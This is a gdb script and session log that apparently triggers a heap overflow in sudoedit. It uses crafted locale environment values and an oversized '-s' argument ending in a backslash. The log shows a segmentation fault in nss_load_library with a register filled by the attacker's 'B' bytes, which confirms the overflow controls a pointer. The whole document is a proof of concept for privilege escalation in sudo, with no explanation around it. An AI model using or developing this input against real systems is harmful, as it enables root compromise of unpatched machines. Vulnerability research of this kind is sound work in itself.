file /usr/bin/sudoedit
set env LC_MEASUREMENT C.UTF-8@ArXkXptM8ttkJY3O8RQOiqwR
set env LC_PAPER C.UTF-8@AxiGMq

set pagination off
r  -A  -s 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
i r
x/i $pc
q

=======
gdb: warning: Couldn't determine a path for the index cache directory.
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) Reading symbols from /usr/bin/sudoedit...
(No debugging symbols found in /usr/bin/sudoedit)
(gdb) (gdb) (gdb) (gdb) (gdb) Starting program: /usr/bin/sudoedit -A  -s 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e9f4ee in nss_load_library (ni=ni@entry=0x5555555828c0) at nsswitch.c:344
344	nsswitch.c: No such file or directory.
(gdb) rax            0x0                 0
rbx            0x424242            4342338
rcx            0x55555558de80      93824992468608
rdx            0xdb1               3505
rsi            0x55555558de60      93824992468576
rdi            0x5555555828c0      93824992422080
rbp            0x7fffffffe180      0x7fffffffe180
rsp            0x7fffffffe130      0x7fffffffe130
r8             0x55555558de70      93824992468592
r9             0x55555558ec30      93824992472112
r10            0x55555557f010      93824992407568
r11            0x7ffff7f44be0      140737353370592
r12            0x5555555828c0      93824992422080
r13            0x7fffffffe198      140737488347544
r14            0x5555555828e8      93824992422120
r15            0x55555558de70      93824992468592
rip            0x7ffff7e9f4ee      0x7ffff7e9f4ee <nss_load_library+46>
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
(gdb) => 0x7ffff7e9f4ee <nss_load_library+46>:	cmpq   $0x0,0x8(%rbx)
(gdb) A debugging session is active.

	Inferior 1 [process 832646] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]
